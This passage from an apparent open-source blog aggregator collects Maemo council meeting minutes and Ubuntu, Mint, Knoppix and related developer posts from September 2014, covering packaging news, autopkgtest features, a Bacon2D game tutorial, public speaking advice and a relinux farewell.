Partial: (lbt), (xes), Gido Griese (Win7Mac)

Absent: Niel Nielsen (nieldk)

Summary of topics (ordered by discussion):

  • handling of MoMs
  • community input
  • x-fade contact about IRC

Topic (handling of MoMs):

Topic (community input):

  • rZr set up a wiki page for community which can be edited by users. This way community may communicate to council about things to sort.
  • Please see also RzR post on TMO.

Topic (x-fade contact about IRC):

  • Until now we were not able to contact x-fade directly, but could have success by contacting via co-worker.
  • Win7Mac joined in and sent mail from GeneralAntilles, that he was able to get in contact with x-fade.
  • DocScrutinizer05 pointed out to not mix things (IRC resolving vs. Jolla board contact).
  • A new e-mail was set up with some more technical details and sent back to GeneralAntilles (to be forwarded to x-fade).

Action Items:
  • N/A
0 Add to favourites0 Bury

15 September, 2014 06:33PM by Peter Leinchen (

2014-08-19 Meeting Minutes

Meeting held 2014-08-19 at 20:00 UTC on FreeNode, channel #maemo-meeting (logs)

Attending: Paul Haley (sixwheeledbeast) Joerg Reisenweber (DocScrutinizer05), Niel Nielsen (nieldk), Philippe Coval (RzR)

Partial: (xes)

Absent: Jussi Ohenoja (juiceme), Peter Leinchen (peterleinchen)

Summary of topics (ordered by discussion):

  • new MC e.V. structure, roles of HiFo/MC e.V. and Council
  • karma calculation
  • coop with Jolla

Topic (new MC e.V. structure, roles of HiFo/MC e.V. and Council):

  • Discussion on new MC e.V. structure as well as the roles of HiFo/MC e.V. and council.
  • DocScrutinizer disagreed with the authority of MC e.V.
  • General agreement that the council rules are already defined.
  • Feedback from community is asked for and will be welcome.

Topic (karma calculation):

  • Discussion on the "karma" calculation issue for voting system.

Topic (coop/friend with Jolla):

  • Discussion on the cooperation / "make friends" with Jolla.

Action Items:
  • Check if karma calculation/evaluation is fixed.
  • NielDK to prepare a draft for letter to Jolla.
0 Add to favourites0 Bury

15 September, 2014 06:32PM by Peter Leinchen (

2014-08-12 Meeting Minutes

2014-08-12 Meeting Minutes

Meeting held 2014-08-12 on FreeNode, channel #maemo-meeting (logs)

Attending: Joerg Reisenweber (DocScrutinizer05), Jussi Ohenoja (juiceme), Philippe Coval (RzR), Peter Leinchen (peterleinchen)

Partial: (lbt), (xes), Gido Griese (Win7Mac)

Absent: Niel Nielsen (nieldk)

Summary of topics (ordered by discussion):

  • IRC channel operator priviliges
  • Discussion on Council writing an introductory letter to Jolla
  • Discussion on a place for Maemo e.V. related documents
  • Discussion on the change to Maemo landing-page

Topic (IRC channel operator priviliges):

  • It is necessary that some active channel-op has co-GC (Group Coordinator) rights.
  • The channelops on #maemo-meeting are GeneralAntilles, Jaffa, jOERG_rw. It was suggested that co-GC rights should be granted to same people.
  • The current GC is Xfade, but he has been absent from IRC and not reachable by mail lately. Council needs to contact him to agree on the GC rights transfer.

Topic (Discussion on Council writing an introductory letter to Jolla):

  • It was suggested that the new Council should send an introduction to Jolla to present ourselves.
  • However it seems that Jolla has no need of Maemo and Maemo has no requirements from Jolla so this is not essential.
  • It was pointed out that HiFo has already written an open letter to Jolla earlier, and apart from general goodwill there is no real need of communication between the entities.

Topic (Discussion on a place for Maemo e.V. related documents):

  • There needs to be a common place to store e.V. bylaws, meeting minutes, blog posting and membership application forms and guides.
  • A wiki page is not optimal for this kind of information, better to have a subpage on hierarchy.
  • Win7Mac joined in and sent mail from GeneralAntilles, where he was able to get in contact with x-fade.
  • A new e-mail was set up with some more technical details and sent back to GeneralAntilles (to be forwarded to x-fade).

Topic (Discussion on the change to Maemo landing-page):

  • It is required that we replace the starting-page after nokia signs off.
  • There are no other requirements or guidance what/how to do that, except "once we proceed, Nokia will require you to replace the landing-page with a statement announcement for 3 months", whatever that means?
  • There is still awful lot of stuff on that refers to Nokia and that needs to be corrected/removed.

Action Items:
  • N/A
0 Add to favourites0 Bury

15 September, 2014 06:31PM by Peter Leinchen (

2014-08-05 Meeting Minutes

Meeting held 2014-08-05 at 20:00 UTC on FreeNode, channel #maemo-meeting (logs)

Attending: Gido Griese (Win7Mac), Falk Stern (warfare),
Philippe Coval (RzR), Niel Nielsen (nieldk), Peter Leinchen (peterleinchen)

Absent: Joerg Reisenweber (DocScrutinizer05), Jussi Ohenoja (juiceme)

Summary of topics (ordered by discussion):

  • status of MC e.V.
  • new SSL certificates>
  • IRC configuration/administration rights
  • future of Harmattan

Topic (status of MC e.V.):

  • German court is processing for weeks and weeks (they're understaffed ATM), but we have a file number...
  • UPDATE on this (not in the meeting): MC e.V. got registered!

Topic (new SSL certificates):

  • This issue can be marked as resolved by the work and help of Falk Stern (warfare, TMO: fstern).
  • The certs are from startssl and are "free" as in beer.
  • Muchos gracias !!!
  • A personal thank you, as he did this on his own.

Topic (IRC configuration/administration rights):

  • This is still not resolved. RzR tried to contact x-fade at Jolla, but until now no response.
  • We agreed on trying to contact Jolla board member to ask for some spare time of x-fade to resolve this and hand over rights on Maemo IRC channels to CC or board member(s).
  • This mail will be prepared by nieldk and should be signed by all CC/Board members.

Topic (future of Harmattan):

  • RzR poked Nokia on Twitter about HarmattanDev:
  • plz @nokiadeveloper @NokiaHelps contact #maemo council or @hildonfound to status on #HarmattanDev unavailability. RT!

Action Items:
  • nieldk setting up an email until next weeks meeting to contact Jolla board about x-fade timeframe.
0 Add to favourites0 Bury

15 September, 2014 06:24PM by Peter Leinchen (

2014-07-29 Meeting Minutes

Meeting held 2014-07-29 at 20:00 UTC on FreeNode, channel #maemo-meeting (logs)


Partial: Joerg Reisenweber (DocScrutinizer05), Peter Leinchen (peterleinchen)

Absent: Jussi Ohenoja (juiceme), Philippe Coval (RzR), Niel Nielsen (nieldk)

Summary of topics (ordered by discussion):

  • no topics

Nothing has been discussed.
Action Items:
  • N/A
0 Add to favourites0 Bury

15 September, 2014 06:22PM by Peter Leinchen (

2014-07-22 Meeting Minutes

Meeting held 2014-07-22 at 20:00 UTC on FreeNode, channel #maemo-meeting (logs)

Attending: Ruediger Schiller (chem|st), (xes),
Jussi Ohenoja (juiceme), Philippe Coval (RzR), Peter Leinchen (peterleinchen)

Partial: Joerg Reisenweber (DocScrutinizer05)

Absent: Niel Nielsen (nieldk)

Summary of topics (ordered by discussion):

  • IRC cloaks
  • administration of IRC channels
  • certificates problem
  • HiFo / MC e.V. transfer
  • future of Harmattan
  • listing of resources

Topic (IRC cloaks):

  • As proposed last meeting by sixwheeledbeast the necessity and the basics (privacy) of cloaks on IRC was discussed briefly.
  • As no one claimed to need that, no decision was made. Possibly to decided next meeting.
  • Discussion faded smoothly to next topic...

Topic (administration of IRC channels):

  • DocScrutinizer05 claimed the non-existence of any administration rights for Maemo affiliated personnel.
  • The only person with IRC administrative rights seems to be Nokia/x-fade.
  • rZr is going to contact x-fade and convince him to add a member of current council to GC (GroupContact) or inform IRC admins to do so.

Topic (certificates problem):

  • chem|st stepped in and announced that all problems regarding certificates and also IRC administration will get solved as soon as the Maemo ownership/licensing is solved.
  • This is work to be done by HiFo (resp. MC e.V.), but community may help getting the website straight by editing the documents in this thread.

Topic (HiFo / MC e.V. transfer):

  • chem|st explained a bit about the current situation of HiFo (Woody is going to close the American HiFo bank account) and registering of MC e.V. (registration still needs to be confirmed by court).

Topic (future of Harmattan):

  • MeeGo/Harmattan is closed down by Nokia. But it is not clear where the rights for Meego/Maemo6/Harmattan are at the moment.
  • FOSS source DVD of Harmattan is available and may be hosted on (but not to consider due to resource limiting on current infra).
  • Firmwares/flasher and so on (binary blobs) will most probably never be available like the ones from Maemo (due to binary blobs of 3rd parties).
  • Other resources in question are the SDK repo and some development stuff (scratchbox, VMs).

Topic (listing of resources):

  • It was clearly discussed that hosting of above mentioned resources will be against the law. But a named listing of those resources togther with a md5sum (better: sha1sum) will be okay.
  • So we ask community to step in and help listing those resources. Please see rZr's post or edit directly here.
  • A listing of files available on Nokia's NDS fire servers is also welcome but are to be seen as temporary solution, as those servers are foreseen to close down in near future (at least for our resources).

Action Items:
  • RzR trying to contact x-fade.
0 Add to favourites0 Bury

15 September, 2014 06:13PM by Peter Leinchen (

hackergotchi for Ubuntu developers

Ubuntu developers

José Antonio Rey: 3 years and counting…

On a 15th September, 3 years ago, I got my Ubuntu Membership.

There’s only thing I can say about it: it’s been the most wonderful and awesome 3 years I could have. I would’ve never thought that I would find such welcoming and amazing community.

Even though I may have not worked with you directly, thank you. You all are what makes the community awesome – I wouldn’t imagine it without one of you. We are all building the future, so let’s continue!

As I said on the title, I hope that it’s not only 3 years. I’ll keep on counting!

15 September, 2014 04:22PM

Thomas Ward: NGINX in Ubuntu, PPAs, and Debian: naxsi packages to be dropped by the end of the month.

Back in April, I upstreamed (that is, reported a bug to Debian) regarding the `nginx-naxsi` packages. The initial bug I upstreamed was about the outdated naxsi version in the naxsi packages. (see this bug in Ubuntu and the related bug in Debian)

The last update on the Debian bug is on September 10, 2014. That update says the following, and was made by Christos Trochalakis:

After discussing it with the fellow maintainers we have decided that it is
better to remove the nginx-naxsi package before jessie is freezed.

Packaging naxsi is not trivial and, unfortunately, none of the maintainers uses
it. That’s the reason nginx-naxsi is not in a good shape and we are not feeling
comfortable to release and support it.

We are sorry for any inconvenience caused.

I asked what the expected timeline was for the packages being dropped. In a response from Christos today, September 15, 2014, it was said:

It ‘ll get merged and released (1.6.1-3) by the end of the month.

In Ubuntu, these changes will likely not make it into 14.10, but future versions of Ubuntu beyond 14.10 (such as 15.04) will likely have this change.

In the PPAs, the naxsi packages will be dropped with stable 1.6.1-3+precise0 +trusty0 +utopic0 and mainline 1.7.4-1+precise0 +trusty0 +utopic0 or will be dropped in later versions if a new point release is made before then.

In Debian, these changes are likely to hit by the end of the month (with 1.6.1-3).

15 September, 2014 02:50PM


Linux Mint 17.1 codenamed ‘Rebecca’

Codenames on the 17.1 series were allowed to break the tradition. They won’t start with a Q, as they should, but with an R instead. It wasn’t easy to find a codename starting with Q initially, and with the move to LTS it’s getting harder and harder as the series might get a total of 4 or more releases.

The first 17.x point release will be Linux Mint 17.1 codename ‘Rebecca’.

Rebecca is of Hebrew origin and its meaning is “to bind”. The name was borne in the Bible by the wife of Isaac. It was also made famous since 1938 by the book from Daphne du Maurier entitled “Rebecca” and adapted into a movie by Alfred Hitchcock in 1940.

Despite its “R” name, Rebecca will share the same base as Qiana. Linux Mint 17 users will have the choice to upgrade or not, and that upgrade will be both easy and safe.

15 September, 2014 10:56AM by Clem

hackergotchi for Ubuntu developers

Ubuntu developers

Michael Hall: Public speaking for introverts

Last week I attended FOSSETCON, a new open source convention here in central Florida, and I had the opportunity to give a couple of presentations on Ubuntu phones and app development. Anybody who knows me knows that I love talking about these things, but a lot fewer people know that doing it in front of a room of people I don’t know still makes me extremely nervous. I’m an introvert, and even though I have a public-facing job and work with the wider community all the time, I’m still an introvert.

I know there are a lot of other introverts out there who might find the idea of giving presentations to be overwhelming, but they don’t have to be.  Here I’m going to give my personal experiences and advice, in the hope that it’ll encourage some of you to step out of your comfort zones and share your knowledge and talent with the rest of us at meetups and conferences.

You will be bad at it…

Public speaking is like learning how to ride a bicycle, everybody falls their first time. Everybody falls a second time, and a third. You will fidget and stutter, you will lose your train of thought, your voice will sound funny. It’s not just you, everybody starts off being bad at it. Don’t let that stop you though, accept that you’ll have bruises and scrapes and keep getting back on that bike. Coincidentally, accepting that you’re going to be bad at the first ones makes it much less frightening going into them.

… until you are good at it

I read a lot of things about how to be a good and confident public speaker, the advice was all over the map, and a lot of it felt like pure BS.  I think a lot of people try different things and when they finally feel confident in speaking, they attribute whatever their latest thing was with giving them that confidence. In reality, you just get more confident the more you do it.  You’ll be better the second time than the first, and better the third time than the second. So keep at it, you’ll keep getting better. No matter how good or bad you are now, you will keep getting better if you just keep doing it.

Don’t worry about your hands

You’ll find a lot of suggestions about how to use your hands (or not use them), how to walk around (or not walk around) or other suggestions about what to do with yourself while you’re giving your presentation. Ignore them all. It’s not that these things don’t affect your presentation, I’ll admit that they do, it’s that they don’t affect anything after your presentation. Think back about all of the presentations you’ve seen in your life, how much do you remember about how the presenter walked or waved their hands? Unless those movements were integral to the subject, you probably don’t remember much. The same will happen for you, nobody is going to remember whether you walked around or not, they’re going to remember the information you gave them.

It’s not about you

This is the one piece of advice I read that actually has helped me. The reason nobody remembers what you did with your hands is because they’re not there to watch you, they’re there for the information you’re giving them. Unless you’re an actual celebrity, people are there to get information for their own benefit, you’re just the medium which provides it to them.  So don’t make it about you (again, unless you’re an actual celebrity), focus on the topic and information you’re giving out and what it can do for the audience. If you do that, they’ll be thinking about what they’re going to do with it, not what you’re doing with your hands or how many times you’ve said “um”. Good information is a good distraction from the things you don’t want them paying attention to.

It’s all just practice

Practicing your presentation isn’t nearly as stressful as giving it, because you’re not worried about messing up. If you mess up during practice you just correct it, make a note to not make the same mistake next time, and carry on. Well if you plan on doing more public speaking there will always be a next time, which means this time is your practice for that one. Keep your eye on the presentation after this one, if you mess up now you can correct it for the next one.


All of the above are really just different ways of saying the same thing: just keep doing it and worry about the content not you. You will get better, your content will get better, and other people will benefit from it, for which they will be appreciative and will gladly overlook any faults in the presentation. I guarantee that you will not be more nervous about it than I was when I started.

15 September, 2014 09:00AM

hackergotchi for KNOPPIX


Gastvorlesung im Rahmen der "Einführung in die Informatik" an der Universität Leipzig: "Betriebssystem GNU/Linux am Beispiel Knoppix u. Co." von Prof. Dipl.-Ing. Klaus Knopper

Auf Smartphones und im embedded Bereich hat sich GNU/Linux in den letzten Jahren als Mainstream-System bestehend aus Betriebssystem und Anwendungen mit einem Marktanteil zwischen 80% bis zu 90% etabliert. Dieser scheinbar überraschende Erfolg eines oft als lediglich "kostenlos" in den Medien propagierten Systems kann einerseits durch seine technische Flexibilität, andererseits durch die verwendete Lizenz vieler Komponenten erklärt werden, die ein kooperatives und agiles Software-Entwicklungsmodell postuliert. Im Vortrag werden Beispiele für den Einsatz von Linux im Alltag (u.a. Knoppix Live-System, Raspberry Pi und Quadrokopter) gezeigt und ein Blick in die Interna des Systems auch für Nicht-Techniker riskiert.

15 September, 2014 09:00AM by Klaus Knopper, (

hackergotchi for Ubuntu developers

Ubuntu developers

Martin Pitt: autopkgtest 3.5: Reboot support, Perl/Ruby implicit tests

Last week’s autopkgtest 3.5 release (in Debian sid and Ubuntu Utopic) brings several new features which I’d like to announce.

Tests that reboot

For testing low-level packages like init or the kernel it is sometimes desirable to reboot the testbed in the middle of a test. For example, I added a new boot_and_services systemd autopkgtest which configures grub to boot with systemd as pid 1, reboots, and then checks that the most important services like lightdm, D-BUS, NetworkManager, and cron come up as expected. (This test will be expanded a lot in the future to cover other areas like the journal, logind, etc.)

In a testbed which supports rebooting (currently only QEMU) your test will now find an “autopkgtest-reboot” command which the test calls with an arbitrary “marker” string. autopkgtest will then reboot the testbed, save/restore any files it needs to (like the tests file tree or previously created artifacts), and then re-run the test with ADT_REBOOT_MARK=mymarker.

The new “Reboot during a test” section in README.package-tests explains this in detail with an example.

Implicit test metadata for similar packages

The Debian pkg-perl team recently discussed how to add package tests to the ~ 3.000 Perl packages. For most of these the test metadata looks pretty much the same, so they created a new pkg-perl-autopkgtest package which centralizes the logic. autopkgtest 3.5 now supports an implicit debian/tests/control control file to avoid having to modify several thousand packages with exactly the same file.

An initial run already looked quite promising, 65% of the packages pass their tests. There will be a few iterations to identify common failures and fix those in pkg-perl-autopkgtest and autopkgtestitself now.

There is still some discussion about how implicit test control files go together with the DEP-8 specification, as other runners like sadt do not support them yet. Most probably we’ll declare those packages XS-Testsuite: autopkgtest-pkg-perl instead of the usual autopkgtest.

In the same vein, Debian’s Ruby maintainer (Antonio Terceiro) added implicit test control support for Ruby packages. We haven’t done a mass test run with those yet, but their structure will probably look very similar.

15 September, 2014 08:23AM

hackergotchi for Blankon developers

Blankon developers

Sokhibi: Mengenal Koordinat Object pada Inkscape dan Corel Draw

Beberapa minggu lalu saya ngisi pelatihan desain grafis pada salah satu Pabrik Garment yang sedang masa transisi migrasi ke OS GNU/Linux di JaBoDeTaBek, tepatnya ngajari beberapa pegawai pabrik tersebut menggambar pola menggunakan Inkscape. Sudah bukan rahasia lagi jika para pegawai suatu perusahaan di Indonesia dalam urusan desain grafis terutama vektor kebanyakan hanya menguasai aplikasi

15 September, 2014 07:01AM by Istana Media (

hackergotchi for Ubuntu developers

Ubuntu developers

Riccardo Padovani: Create your first QML game with Bacon2D

Hi all,
after long time I return to write to show you how to create a simple game for Ubuntu for Phones (but also for Android) with Bacon2D.

Bacon2D is a framework to ease 2D game development, providing ready-to-use QML elements representing basic game entities needed by most of games.

As tutorial I’ll explain you how I create my first QML game, 100balls, that you could find on Ubuntu Store on Phones. Source is available on Github.


So, first of all we need to install Bacon2D on our system. I suppose you have already installed QT on your system, so we only need to take source and compile it:

git clone
cd Bacon2D
mkdir build && cd build
qmake ..
sudo make install

Now you have Bacon2D on your system, and you can import it in every project you want.

A first look to Bacon2D

Bacon2D provides a good number of custom components for your app. Of course, I can’t describe them all in one article, so please read the documentation. We’ll use only few of them, and I think the best way to introduce you to them is writing the app.
So, let’s start!

First of all, we create our base file, called 100balls.qml:

import QtQuick 2.0
import Bacon2D 1.0

The first element we add is the Game element. Game is the top-level container, where all the game will be. We set some basic property and the name of the game, with gameName property:

import QtQuick 2.0
import Bacon2D 1.0
Game {
    id: game
    anchors.centerIn: parent
    height: 680
    width: 440
    gameName: "com.ubuntu.developer.rpadovani.100balls" // Ubuntu Touch name format, you can use whatever you want

But the Game itself is useless, we need to add one or more Scene to it. A scene is the place where all Entity of the game will be placed.
Scene has a lot of property, for now is importat to set two of them: running indicates if all things in the scene will move, and if game engine works; second property is physics, that indicates if Box2D has to be used to simulate physic in the game. We want a game where some balls fall, so we need to set it to true.

import QtQuick 2.0
import Bacon2D 1.0
Game {
    id: game
    anchors.centerIn: parent
    height: 680
    width: 440
    gameName: "com.ubuntu.developer.rpadovani.100balls" // Ubuntu Touch name format, you can use whatever you want
    Scene {
        id: gameScene
        physics: true
        running: true

15 September, 2014 07:00AM

hackergotchi for TurnKey Linux

TurnKey Linux

Good design is harder than it looks

A few months ago I worked a couple weeks on a new website design. Just to be clear website design isn't one of my specialties. Not be a long shot. I'm much more of an engineer at heart. That means I feel more comfortable coming up with solutions I can test objectively. Visual design doesn't fit the bill. It's more art than engineering. Open-ended. A seemingly infinite solution space. No clear fitness function that doesn't involve wishy washy, vague notions like taste and style.

But I approached the problem with my usual can-do, how-hard-can-this-be attitude and came up with a new design I thought was pretty sweet.

Then I showed off my work to a colleague so he could give me an unbiased opinion. This is someone I trust to give it to me straight. A person not known for sugar coating the truth.

Before unveiling my creation I excitedly shared my opinion that the new design was really good. As good even as anything a professional designer would have come up with!

His response was extremely disappointing:

"This isn't very good. The attempt suffers from overly fancy, poorly implemented design. There's nothing uglier than ugly ornamentation. It looks like a hobbyist in a misguided attempt to do professional looking design work, which is in fact, exactly what it is. As a hobbyist, you should try to do as little fancy designing as possible. Complex designs are hard to get right. The simpler the "design" the higher your shot at getting something that looks like well executed minimalism."

That's just a short snippet of course. The gist of it. The full critique described many specific problems by way of example and included terms such as 'ugly', 'clashing colors' and so forth.

Truth be told, I wasn't just disappointed. I was mad. I had put my heart into it. I did my best. Why was he putting me down? In his usual unabashed, direct style he had stomped all over my work with careless disregard for my feelings. Besides, the design couldn't be that bad if it looked good to me, could it? He went on to explain that in his opinion there was nothing to salvage and that it would be better to start from scratch and try something entirely different. How dare he? That wasn't constructive criticism, he was just being mean!

Eventually I calmed down enough to realize what had happened. Having put so much work into the new design I had fallen in love with my work. Like a parent's love for his baby. I wouldn't have reacted so emotionally if this was a critique of somebody else's design work. I was biased. I wasn't looking at things clearly.

I started thinking long and hard about my reaction and about design in general. The specific ways in which my design sucked didn't matter. Those were just symptoms of a much deeper problem. The root cause was that visual design is a really hard, specialized field that you can't just jump into and expect to do professional-level work in. It takes years and years of study and practice to get good at it, just like any other field. Duh right?

That I sucked at web design didn't reflect badly on me personally any more than if someone said they thought I shouldn't start trying to fly a fighter jet because I would most likely crash and burn. Don't kill yourself man. Start with a flying trainer.

So why did I take personal offense at criticism against my web designs? Well, flying a fighter jet looks dangerous and difficult. Anyone can see that. But good visual design looks so deceptively easy. Obvious. Like maybe anyone could do it without any prior experience or training and if you can't then there's something wrong with you.

Since then I've taken my friend's advice, trashed the old "new design" and gradually through iteration came up with a much simpler design that actually isn't half bad, even in other people's opinion. But I have to admit it was extremely hard work. By comparison programming was a piece of cake.

The experience left me:

  1. More wary of how bias can unconsciously warp perception
  2. A bit more humble in general
  3. With much deeper respect for visual design as a field. I'll take my hat off for anyone with a real talent for it. Just because it looks simple doesn't mean that it was simple to come up with.

15 September, 2014 05:25AM by Liraz Siri

September 14, 2014

hackergotchi for Ubuntu developers

Ubuntu developers

Stuart Langridge: Brum Tech Scene interviews

Today I released the first of the Brum Tech Scene interviews, with me talking to Simon Jenner of Silicon Canal and Oxygen Startups. There’s a video on the site from me explaining why I’m doing this, but I figure that the more discerning audience for as days pass by might appreciate a more in-depth discussion.

I love this city. I love that we’re prepared to spend a hundred and ninety million quid on building the best library in the whole world. I love that there’s so much going on, tech-wise. But nobody talks to anybody else. If you look at, say, Brighton, the whole tech scene there all hang out together. They can put on a Digital Brighton week and have dConstruct be part of it and Seb do mad things with visualisations and that’s marvellous. We ought to have that. I want us to have that.

We don’t have a tech scene. We’ve got twenty separate tech scenes. What I want to do is knock down the walls a bit. So the designers talk to the SEO people and the Linux geeks talk to the designers. Because there is no way that this can be a bad thing.

I also want to learn a bit about videos. Now, let’s be clear here. I know from a decade of podcasting that with a mild expenditure of money on gear, and a great sound engineer (Jono Bacon, step forward) you can produce something as good as the professionals. Bad Voltage sounds as good, production-wise, as the BBC’s Today programme does. Video is not like that. There is a substantial difference between amateur and professional efforts; one bloke using mobile phones to record cannot make something that looks like Sherlock or Game of Thrones. I’m not trying to look professional here; I’m aiming for “competent amateur”. I’ve learned loads about how to record a video interview, how to mix it, how to do the editing. Sit far enough apart that your voice doesn’t sound on their mic. Apply video effects to the clip before you cut it up. Don’t speak over the interviewee. KDEnLive’s “set audio reference” is witchcraft brilliance. I knew none of this two months ago. And I’ve really enjoyed learning. I am in no wise good at this stuff, but I’m better than I was.

This has been a fun project to set up, and it will continue being fun as I record more interviews. My plan is to have a new one every Monday morning, indefinitely, as long as people like them and I’m still interested in doing them. I should give big love to Mike, my designer, who I fought with tooth and nail about the site design and the desaturated blue look to the videos, and to Dan Newns who sat and was interviewed as a test when I first came up with this idea, and has provided invaluable feedback throughout.

If you know something about video editing, I’d love to hear how I can do better. Ping me on twitter or by mail. Tell me as well who you want to hear interviewed; which cool projects are going on that I don’t know about. I’d also love to hear about cool venues in the city in which I can do interviews; one of my subsidiary goals here is to show off the city’s tech places. Annoyingly, I spoke to the Library and to the Birmingham Museums Trust and they were all “fill out our fifteen page form” because they’re oriented around the BBC coming in with a crew of twenty camera people, not one ginger guy with a mobile phone and a dream. Maybe I’ll do things with @HubBirmingham once they actually exist.

I should talk about the tech, here. I record the interviews on an iPhone 5, a Nexus 4, and a little HD camera I bought years ago. The audio is done with two Røde Smartlav lapel mics plugged into the two phones. None of this is expensive, which has a cost in terms of video and audio quality but critically doesn’t have much of a cost in terms of actual pounds sterling. And editing is done with KDEnLive (kdenlive?) which is a really powerful non-linear video editor for Ubuntu, and the team who make it should be quite proud. The big thing I’m missing (apart from a cameraman) is a tripod, which I can probably buy for about ten quid, and I will do once I find one that’s tall and yet still fits in my laptop bag.

Anyway, that’s the story of the Brum Tech Scene interviews. There’ll be one every Monday. I hope you like them. I hope they help, even in a small way, to make the Brum tech scene gel together even more than it has thus far. Let me know what you think.

14 September, 2014 11:56PM

Joel Leclerc: I’m quitting relinux

I will start this off by saying: I’m very (and honestly) sorry for, well, everything.

To give a bit of history, I started relinux as a side-project for my CosmOS project (cloud-based distribution … which failed), in order to build the ISO’s. The only reasonable alternative at the time was remastersys, and I realized I would have to patch it anyways, so I thought that I might as well make a reusable tool for other distributions to use too.

Then came a rather large amount of friction between me and the author of remastersys, of which I will not go into any detail of. I acted very immaturely then, and wronged him several times. I had defamed him, made quite a few people very angry at him, and even managed to get some of his supporters against him. True, age and maturity had something to do with it (I was 12 at the time), but that still doesn’t excuse my actions at all.

So my first apology is to Tony Brijeski, the author of remastersys, for all the trouble and possible pain I had put him through. I’m truly sorry for all of this.

However, though the dynamics with Tony and remastersys are definitely a large part of why I’m quitting relinux, that is not all. The main reason, actually, is lack of interest. I have rewritten relinux a total of 7 times (including the original fork of remastersys), and I really hate the debugging process (takes 15-20 minutes to create an ISO, so that I can debug it). I have also lost interest in creating linux distributions, so not only am I very tired of working on it, I also don’t really care about what it does.

On this note, my second apologies (and thanks) have to go those who have helped me so much through the process, especially those who have tried to encourage me to finish relinux. Those listed are in no particular order, and if I forgot you, then let me know (and I apologize for that!):

  • Ko Ko Ye
  • Raja Genupula
  • Navdeep Sidhu
  • Members of the TSS Web Dev Club
  • Ali Hallahi
  • Gert van Spijker
  • Aritra Das
  • Diptarka Das
  • Alejandro Fernandez
  • Kendall Weaver

Thank you very much for everything you’ve done!

Lastly, I would like to explain my plans for it, in case anyone wants to continue it (by no means do I want to enforce these, these are just ideas).

My plan for the next release of relinux was to actually make a very generic and scriptable CLI ISO creation tool, and then make relinux as a specific set of “profiles” for that tool (plus an interface). The tool would basically contain a few libraries for the chosen scripting language, for things like storing the filesystem (SquashFS or other), ISO creation, and general utilities for editing files while keeping permissions, mutli-threading/processing, etc… The “profiles” would then copy, edit, and delete files as needed, set up the tool wanted for running the live system (in ubuntu’s case, this’d be casper), setup the installer/bootloader, and such.

I would like to apologize to you all, the people who have used relinux and have waited for a stable version for 3 years, for not doing this. Thank you very much for your support, and I’m very sorry for having constantly pushed releases back and having never made a stable or well working version of relinux. Though I do have some excuses as to why the releases didn’t work, or why I didn’t test them well enough, none of them can cover why I didn’t fix them or work on it more. And for that, I am very sorry.

I know that this is a very large post for something so simple, but I feel that it would not be right if I didn’t apologize to those I have done wrong to, and thanked those who have helped me along the way.

So to summarize, thank you, sorry, and relinux is now dead.

- Joel Leclerc (MiJyn)

14 September, 2014 11:24PM

hackergotchi for KNOPPIX


KNOPPIX 7.4.1 Update

Knoppix 7.4.1 mit Kernel 3.16.2 ist ab sofort als DVD-Image verfügbar. Mehr zum neuen Release in den Release Notes.

14 September, 2014 10:00PM by Klaus Knopper, (

KNOPPIX 7.4.1 update

Knoppix version 7.4.1 including Kernel 3.16.2, is now available as DVD image. See Release Notes for more information.

14 September, 2014 10:00PM by Klaus Knopper, (

hackergotchi for Ubuntu developers

Ubuntu developers

David Tomaschik: Getting Started in CTFs

My last post was about getting started in a career in information security. This post is about the sport end of information security: Capture the Flag (CTFs).

I'd played around with some wargames (Smash the Stack, Over the Wire, and Hack this Site) before, but my first real CTF (timed, competitive, etc.) was the CTF run by Mad Security at BSides SF 2013. By some bizarre twist of fate, I ended up winning the CTF, and I was hooked. I've probably played in about 30 CTFs since, most of them online with the team Shadow Cats. It's been a bumpy ride, but I've learned a lot about a variety of topics by doing this.

If you're in the security industry and you've never tried a CTF, you really should. Personally, I love CTFs because they get me to exercise skills that I never get to use at work. They also inspire some of my research and learning. The only problem is making the time. :)

Here's some resources I've thought were interesting:

14 September, 2014 08:07PM

September 13, 2014

hackergotchi for Parsix developers

Parsix developers

An updated version of Iceweasel (Firefox) 32.0 is now available for Nestor. Upda...

An updated version of Iceweasel (Firefox) 32.0 is now available for Nestor. Update your systems to install it.

13 September, 2014 09:28PM by Parsix GNU/Linux

New security updates are now available for Parsix GNU/Linux 6.0 (Trev) and 7.0 (...

New security updates are now available for Parsix GNU/Linux 6.0 (Trev) and 7.0 (Nestor). Please see for details.

13 September, 2014 09:27PM by Parsix GNU/Linux

hackergotchi for Ubuntu developers

Ubuntu developers

Luke Faraone: "Your release sucks."

I look forward to Ubuntu's semiannual release day, because it's the completion of 6ish months of work by Ubuntu (and by extension Debian) developers.

I also loathe it, because every single time we get people saying "This Ubuntu release is the worst release ever!".

Ubuntu releases are always rocky around release time, because the first time Ubuntu gets widespread testing is on or after release day.

We ship software to 12 Million Ubuntu Users with only 150 MOTUs who work directly on the platform. That's a little less than 1 developer with upload rights to the archive for every 60,000 users. ((This number, like all other usage data, is dated, and probably wasn't even accurate when it was first calculated)) Compared to Debian, which (at last estimate in 2010) had 1.5 million uniques on, yet has around 1000 Debian Developers.

Debian has a strong testing culture; someone once estimated that around ¾ of Debian users are running unstable or testing. In Ubuntu, we don't have good metrics on how many people are using the development release that I'm aware of (pointers welcome), but I'd guess that it's a very very small percentage. A common thread in bug reports, if we get a response at all, goes on as follows:
Triager: ((Developer, bugcontrol member, etc. Somebody who is not experiencing the problem but wants to help.)) "Is this a problem in $devel?"
User: "I'll let you know when it hits final"
Triager: "It's too late then. Then we'll want you to test in the next release. We have to fix it BEFORE its final"
User: "Ok, I'll test at beta."
Triager: "That's 2 weeks before release, which will be too late. Please test ASAP if you want us to have time to fix it"

Of course, there are really important bugs with hardware support which keep on cropping up. But if they're just getting reported on or around release day, there are limits to what can be done about them this cycle.

We need to make it easier for people to run early development versions, and encourage more people to use them (as long as they're willing to deal with breakage). I'm not sure whether unstable/testing is appropriate for Ubuntu, and I'm fairly confident that we don't want to move to a rolling release (currently being discussed in Debian, summary). But we badly need more developers, and equally importantly, more testers to try it out earlier in the release process.

To users: please, please try out the development versions. Download a LiveCD and run a smoketest, or check if bugs you reported are in fact fixed in the later versions. And do it early and often.

13 September, 2014 08:43PM by Luke Faraone (

David Tomaschik: Getting Started in Information Security

I've only been an information security practitioner for about a year now, but I've been doing things on my own for years before that. However, many people are just getting into security, and I've recently stumbled on a number of resources for newcomers, so I thought I'd put together a short list.

13 September, 2014 07:30PM

Stuart Langridge: Developers are users too

When you talk about the “user experience” of the thing you’re building, remember that developers who use your APIs are users too. And you need to think about their experience.

